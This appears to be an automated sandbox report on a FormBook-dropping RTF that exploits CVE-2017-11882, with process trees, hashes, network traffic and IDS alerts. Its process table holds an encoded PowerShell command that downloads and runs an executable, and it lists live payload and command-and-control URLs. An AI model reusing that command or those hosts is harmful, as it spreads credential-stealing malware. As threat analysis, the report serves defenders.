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File name:

Reference copy.doc

Full analysis: https://app.any.run/tasks/5590028f-1c27-4282-a926-4d84b5f07e4e
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Analysis date: May 21, 2019, 01:45:41
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
loader
formbook
stealer
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

CF28035D49364281A4FA26CB2E850112

SHA1:

B209F498034C73B0041F16F255E401BC3C295BEE

SHA256:

C6F35700C40FC12E2AA9D3F28B4FCEFB3468374C0639D0A81870485587FB90E3

SSDEEP:

48:acSSebGDvTzDXi5xokbzjEsTlpen2HwDEEEEEEEEEEk:acSSCGDvrSxJFxU2sEEEEEEEEEEk

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  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2924)
    • Application was dropped or rewritten from another process

      • nvbackend.exe (PID: 3928)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3708)
    • Loads dropped or rewritten executable

      • nvbackend.exe (PID: 3928)
    • FORMBOOK was detected

      • explorer.exe (PID: 252)
    • Actions looks like stealing of personal data

      • help.exe (PID: 2876)
    • Changes the autorun value in the registry

      • help.exe (PID: 2876)
    • Formbook was detected

      • help.exe (PID: 2876)
      • Firefox.exe (PID: 2608)
    • Connects to CnC server

      • explorer.exe (PID: 252)
    • Stealing of credential data

      • help.exe (PID: 2876)
  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 2924)
    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 2924)
    • Creates files in the user directory

      • EQNEDT32.EXE (PID: 2924)
      • powershell.exe (PID: 3708)
      • help.exe (PID: 2876)
    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 2924)
    • Executed via WMI

      • cmd.exe (PID: 2880)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3708)
      • nvbackend.exe (PID: 3928)
    • Starts CMD.EXE for commands execution

      • help.exe (PID: 2876)
    • Loads DLL from Mozilla Firefox

      • help.exe (PID: 2876)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2952)
      • Firefox.exe (PID: 2608)
    • Starts Microsoft Office Application

      • explorer.exe (PID: 252)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2952)
    • Manual execution by user

      • help.exe (PID: 2876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
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All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
10
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs nvbackend.exe nslookup.exe no specs #FORMBOOK help.exe cmd.exe no specs #FORMBOOK explorer.exe #FORMBOOK firefox.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2952"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Reference copy.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2924"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3708"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAYwAuAHIAawAtAHMAdABvAHIAZQAuAG4AZQB0AC8AYgBsAG8AZwAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGMAaABpAGsAYQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbgB2AGIAYQBjAGsAZQBuAGQALgBlAHgAZQAiACkAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2880cmd /c %temp%\nvbackend.exeC:\Windows\system32\cmd.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3928C:\Users\admin\AppData\Local\Temp\nvbackend.exeC:\Users\admin\AppData\Local\Temp\nvbackend.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3400"C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exenvbackend.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2876"C:\Windows\System32\help.exe"C:\Windows\System32\help.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Help Utility
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3788/c del "C:\Windows\system32\nslookup.exe"C:\Windows\System32\cmd.exehelp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
252C:\Windows\Explorer.EXEC:\Windows\explorer.exe
ctfmon.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2608"C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe
help.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
65.0.2
Total events
1 460
Read events
1 029
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
76
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREA2F.tmp.cvr
MD5:
SHA256:
3708powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IH5VX8X5WRDQL8HWM7U2.temp
MD5:
SHA256:
3928nvbackend.exeC:\Users\admin\AppData\Local\Temp\nse1D47.tmp
MD5:
SHA256:
2924EQNEDT32.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:9F94D5FEB1A57D55A657F1574C4E9E42
SHA256:CD9E1EE75B1CFE59CD9CC5CAB53858E11E6D0F266D3833ECB7E11BAB32B6746F
3708powershell.exeC:\Users\admin\AppData\Local\Temp\nvbackend.exeexecutable
MD5:402F660FB5CC9EB6F10DCEFD842CCF8E
SHA256:BB7BA3653884207DEF9773834E7E5DCBEE41BD6CDCECBF8F8B6F45ECF7913BB3
3928nvbackend.exeC:\Users\admin\AppData\Local\Temp\Scholiastbinary
MD5:224B2E6B87486E5E720124A5A948668D
SHA256:E58A94D9D35DAE3466EF827D7BE6146B5BD17E4A8EE5804817BA725EB48D79E2
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ference copy.doc.rtfpgc
MD5:BE71FDA93D6A76FFFBCE4DB26E2001A4
SHA256:CD84DE27675CC7D0C223EFA8F7944FE3516C8582302F6861C069144A56823F9F
3708powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF151007.TMPbinary
MD5:5F9A7BF5388376D94C2EDCA422810BEC
SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C
3928nvbackend.exeC:\Users\admin\AppData\Local\Temp\FileAssociation.targetsize-32.pngimage
MD5:6ADBDB0DB2BBF1643D895350991FBAE9
SHA256:B6AB4C00D904BF4CCB8F3459153A925EBA1D845EE92E4BE52461EBBF54E31473
2952WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:816BEA007272E3D591722A84B2EBD2E8
SHA256:0BD48B965DD591F21A77D8C83E4C24FE5627C543192A698F7B1E1842A0EEDB5A
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HTTP(S) requests
12
TCP/UDP connections
15
DNS requests
8
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
252
explorer.exe
GET
3.94.104.205:80
http://www.yeshe.net/ch/?s0H=Q6cJi0XhsedoE3lWPzFVZVl0l3SiwWkUnpLjHduYmccM84nuGgVO+v7jORuxi/m80F2Ovg==&CZ=7nfxV4k&sql=1
US
malicious
3708
powershell.exe
GET
200
183.181.0.79:80
http://ec.rk-store.net/blog/wp-includes/chika.exe
JP
executable
363 Kb
malicious
252
explorer.exe
POST
192.0.78.24:80
http://www.littlebearwords.com/ch/
US
malicious
252
explorer.exe
GET
404
202.143.99.92:80
http://www.shootthearrow.com/ch/?s0H=bUIShVL4Na1KDTkxvkEII5iIdSg+dBSeJQ1U+u1vsJyl3HqqPDDlon4hmrdowc/eACze1Q==&CZ=7nfxV4k
IN
html
320 b
unknown
252
explorer.exe
GET
301
192.0.78.24:80
http://www.littlebearwords.com/ch/?s0H=roymgiV2d/20kJ6FenKGJwOzxpZy8In5zcMbVRg6dJVJaSy2MeHFO7nxiWSpaJGkRWppwA==&CZ=7nfxV4k&sql=1
US
html
162 b
malicious
252
explorer.exe
POST
184.168.221.51:80
http://www.viewtube3d.com/ch/
US
malicious
252
explorer.exe
GET
184.168.221.51:80
http://www.viewtube3d.com/ch/?s0H=E2OkJYBB/beZ73yxxhtvdLUSQUWi+NTNV6tbxueTqw20ZxQHZa2xp6iNY1loXd7Ewi620Q==&CZ=7nfxV4k&sql=1
US
malicious
252
explorer.exe
POST
3.94.104.205:80
http://www.yeshe.net/ch/
US
malicious
252
explorer.exe
POST
192.0.78.24:80
http://www.littlebearwords.com/ch/
US
malicious
252
explorer.exe
POST
3.94.104.205:80
http://www.yeshe.net/ch/
US
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3708
powershell.exe
183.181.0.79:80
ec.rk-store.net
FreeBit Co.,Ltd.
JP
malicious
252
explorer.exe
202.143.99.92:80
www.shootthearrow.com
CtrlS Datacenters Ltd.
IN
unknown
252
explorer.exe
192.0.78.24:80
www.littlebearwords.com
Automattic, Inc
US
malicious
2924
EQNEDT32.EXE
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
252
explorer.exe
3.94.104.205:80
www.yeshe.net
US
malicious
252
explorer.exe
184.168.221.51:80
www.viewtube3d.com
GoDaddy.com, LLC
US
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
ec.rk-store.net
  • 183.181.0.79
malicious
www.shootthearrow.com
  • 202.143.99.92
unknown
www.gloria-vintage.com
unknown
www.singlemumlife.net
unknown
www.littlebearwords.com
  • 192.0.78.24
  • 192.0.78.25
malicious
www.yeshe.net
  • 3.94.104.205
  • 34.200.200.95
malicious
www.viewtube3d.com
  • 184.168.221.51
malicious

Threats

PID
Process
Class
Message
3708
powershell.exe
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
3708
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3708
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (POST)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (POST)
252
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
8 ETPRO signatures available at the full report
No debug info